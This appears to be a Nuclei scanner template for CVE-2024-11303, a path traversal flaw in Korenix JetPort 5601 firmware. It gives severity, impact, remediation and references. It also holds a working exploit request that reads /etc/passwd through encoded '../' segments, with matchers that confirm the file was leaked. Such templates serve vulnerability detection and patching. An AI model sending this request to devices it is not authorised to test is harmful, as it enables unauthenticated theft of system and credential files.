id: CVE-2024-11303

info:
  name: Korenix JetPort 5601v3 - Path Traversal
  author: geeknik
  severity: high
  description: |
    The pathname of the root directory to a Restricted Directory ('Path Traversal') vulnerability in Korenix JetPort 5601 allows Path Traversal.This issue affects JetPort 5601- through 1.2.
  impact: |
    Unauthenticated attackers can exploit path traversal to read arbitrary files from the JetPort device server, potentially accessing sensitive configuration files and credentials for connected serial devices.
  remediation: |
    Update Korenix JetPort 5601 to a version newer than 1.2 that properly validates and sanitizes file paths to prevent directory traversal attacks.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-11303
    - https://seclists.org/fulldisclosure/2024/Nov/8
    - https://www.korenix.com/en/about/index.aspx?kind=3
    - https://cyberdanube.com/en/en-st-polten-uas-path-traversal-in-korenix-jetport/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-11303
    cwe-id: CWE-22
    epss-score: 0.14923
    epss-percentile: 0.9464
  metadata:
    max-request: 1
    vendor: korenix
    product: jetport_5601
  tags: seclists,cve,cve2024,korenix,lfi,vuln,vkev

http:
  - method: GET
    path:
      - "{{BaseURL}}/%2e%2e/%2e%2e/etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: word
        part: body
        words:
          - "text/plain"

      - type: status
        status:
          - 200
# digest: 490a0046304402200c4e0c823818c54f962693bc28aaace50622fc24c4cd3841056a218010c2a7e002207d7667f1f79ea73d6ede96f0903439a9224174a07ec75d6c035310b7e856dfff:922c64590222798bb761d5b6d8e72950